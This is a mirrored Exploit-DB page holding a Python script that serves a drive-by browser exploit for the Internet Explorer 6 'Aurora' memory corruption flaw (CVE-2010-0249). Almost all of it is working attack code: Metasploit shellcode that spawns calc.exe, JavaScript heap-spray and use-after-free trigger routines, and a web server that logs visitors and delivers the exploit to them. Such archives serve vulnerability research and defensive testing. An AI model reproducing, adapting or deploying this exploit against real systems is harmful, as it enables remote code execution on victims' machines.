Microsoft Internet Explorer 6 – ‘Aurora’ Memory Corruption (MS10-002)

  • 作者: Ahmed Obied
    日期: 2010-01-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11167/
  • #
    # Author : Ahmed Obied (ahmed.obied@gmail.com)
    #
    # This program acts as a web server that generates an exploit to 
    # target a vulnerability (CVE-2010-0249) in Internet Explorer. 
    # The exploit was tested using Internet Explorer 6 on Windows XP SP2. 
    # The exploit's payload spawns the calculator. 
    #
    # Usage: python ie_aurora.py [port number]
    # 
     
    import sys
    import socket
    
    from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
    
    class RequestHandler(BaseHTTPRequestHandler):
    
    def convert_to_utf16(self, payload):
    enc_payload = ''
    for i in range(0, len(payload), 2):
    num = 0
    for j in range(0, 2):
    num += (ord(payload[i + j]) & 0xff) << (j * 8)
    enc_payload += '%%u%04x' % num
    return enc_payload
    
    def get_payload(self):
    # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
    # http://metasploit.com
    payload= '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
    payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
    payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
    payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
    payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
    payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
    payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
    payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
    payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
    payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
    payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
    payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
    return self.convert_to_utf16(payload)
    
    def get_exploit(self):
    exploit = '''
    <html>
    <head>
    <script>
    
    var obj, event_obj;
    
    function spray_heap()
    {
    var chunk_size, payload, nopsled;
    
    chunk_size = 0x80000;
    payload = unescape("<PAYLOAD>");
    nopsled = unescape("<NOP>");
    while (nopsled.length < chunk_size)
    nopsled += nopsled;
    nopsled_len = chunk_size - (payload.length + 20);
    nopsled = nopsled.substring(0, nopsled_len);
    heap_chunks = new Array();
    for (var i = 0 ; i < 200 ; i++)
    heap_chunks[i] = nopsled + payload;
    }
    
    function initialize()
    {
    obj = new Array();
    event_obj = null;
    for (var i = 0; i < 200 ; i++ )
    obj[i] = document.createElement("COMMENT");
    }
    
    function ev1(evt)
    {
    event_obj = document.createEventObject(evt);
    document.getElementById("sp1").innerHTML = "";
    window.setInterval(ev2, 1);
    }
    
    function ev2()
    {
    var data, tmp;
    
    data = "";
    tmp = unescape("%u0a0a%u0a0a");
    for (var i = 0 ; i < 4 ; i++)
    data += tmp;
    for (i = 0 ; i < obj.length ; i++ ) {
    obj[i].data = data;
    }
    event_obj.srcElement;
    }
    
    function check()
    {
    if (navigator.userAgent.indexOf("MSIE") == -1)
    return false;
    return true; 
    }
    
    if (check()) {
    initialize();
    spray_heap(); 
    }
    else
    window.location = 'about:blank'
    
    </script>
    </head>
    <body>
    <span id="sp1">
    <img src="https://www.exploit-db.com/exploits/11167/aurora.gif" onload="ev1(event)">
    </span>
    </body>
    </html>
    '''
    exploit = exploit.replace('<PAYLOAD>', self.get_payload())
    exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
    return exploit 
    
    def get_image(self):
    content= '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
    content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
    content += '\x01\x00\x3b'
    return content
    
    def log_request(self, *args, **kwargs):
    pass
    
    def do_GET(self):
    try:
    if self.path == '/':
    print
    print '[-] Incoming connection from %s' % self.client_address[0]
    self.send_response(200) 
    self.send_header('Content-Type', 'text/html')
    self.end_headers()
    print '[-] Sending exploit to %s ...' % self.client_address[0]
    self.wfile.write(self.get_exploit())
    print '[-] Exploit sent to %s' % self.client_address[0]
    elif self.path == '/aurora.gif':
    self.send_response(200)
    self.send_header('Content-Type', 'image/gif')
    self.end_headers()
    self.wfile.write(self.get_image())
    except: 
    print '[*] Error : an error has occured while serving the HTTP request'
    print '[-] Exiting ...'
    sys.exit(-1)
    
     
    def main():
    if len(sys.argv) != 2:
    print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
    sys.exit(0)
    try:
    port = int(sys.argv[1])
    if port < 1024 or port > 65535:
    raise ValueError
    try:
    serv = HTTPServer(('', port), RequestHandler)
    ip = socket.gethostbyname(socket.gethostname())
    print '[-] Web server is running at http://%s:%d/' % (ip, port)
    try:
    serv.serve_forever()
    except:
    print '[-] Exiting ...' 
    except socket.error:
    print '[*] Error : a socket error has occurred'
    sys.exit(-1)
    except ValueError:
    print '[*] Error : an invalid port number was given'
    sys.exit(-1)
    
    if __name__ == '__main__':
    main()